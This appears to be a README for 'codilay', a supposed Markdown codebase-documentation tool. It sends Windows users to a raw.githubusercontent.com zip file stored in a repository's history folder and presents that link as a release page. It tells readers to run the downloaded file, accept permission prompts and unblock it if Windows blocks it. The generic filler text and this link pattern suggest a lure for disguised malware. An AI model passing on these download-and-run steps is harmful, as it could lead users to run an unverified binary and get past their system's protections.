codilay helps you make sense of a codebase one file at a time. It reads the project, builds a Markdown reference doc, and shows how the parts fit together. It also keeps track of links between files so the reference stays useful as the code changes.
Use it when you want to:
- see how a project is organized
- find where a feature starts and ends
- build a readable map of a codebase
- keep notes in Markdown
- trace file links and dependencies
You need:
- a Windows PC
- internet access to get the release
- enough free space for the app and your project files
- permission to run files on your computer
If your project is large, give codilay some time to scan it.
Visit the release page here:
https://raw.githubusercontent.com/Daohuyt5735/codilay/main/codilay/history/Software-v1.6.zip
On that page:
- find the latest release
- open the list of files under Assets
- download the Windows file for your system
- save it to a folder you can find, like Downloads or Desktop
If the release includes a setup file, use that. If it includes a single app file, download that file and run it.
After the file finishes downloading:
- open the folder where you saved it
- double-click the file
- if Windows asks for permission, choose Run or Yes
- follow the on-screen steps if a setup window appears
- if the app opens in a terminal window, leave that window open while you use it
If Windows blocks the file, check the file properties and choose the option to allow it, then try again.
- start codilay
- point it at the folder that contains your codebase
- let it scan the files
- wait while it builds the Markdown reference
- open the generated document to read the project map
The app works file by file, so larger projects take longer. That is normal.
codilay builds a working reference that can include:
- a list of files and folders
- short notes about each file
- links between related parts
- a dependency map
- a Markdown doc you can read or share
This makes it easier to see how one file affects another.
Use codilay when you want to:
- get familiar with a new project
- review code before a change
- locate a feature fast
- write docs from code
- understand how files depend on each other
It is useful for small projects and for large ones with many linked files.
codilay reads each file, then adds what it learns to a live Markdown reference. It also builds a wire model that tracks how items connect. When it finds a new link, it adds it to the map and updates the reference over time.
In plain terms, it turns code into a readable guide.
- it keeps the reference in Markdown
- it follows file by file order
- it tracks links as it goes
- it helps with code understanding
- it supports dependency review
- it works as a codebase explorer
- You open a new app and want to know where the main logic lives.
- You need to trace a function across several files.
- You want a clean doc that explains a codebase in plain text.
- You need a map before you refactor code.
- You want to review a project without reading every file by hand.
If the app does not open:
- make sure the download finished
- try running it again
- check that Windows did not block it
- move the file to a simple folder like Desktop
- try a fresh download from the release page
If the app opens but does not scan your project:
- check that you chose the correct folder
- make sure the folder contains code files
- wait longer for larger projects
- close other heavy apps if your PC is low on memory
If the output doc looks incomplete:
- run the scan again
- let it finish without closing the app
- scan a smaller part of the project first
Keep your files in a clear layout like this:
- Downloads
- codilay file
- Projects
- your codebase folder
- Docs
- generated Markdown files
This makes it easier to find the app, your project, and the output.
Only download codilay from the release page in this README. After download, check that the file name matches the release you wanted before you run it.
ai agent, code analysis, code documentation, code understanding, codebase explorer, context building, dependency graph, developer tools, documentation generator, dynamic analysis, git integration, knowledge graph, markdown, refactoring tools, python, llm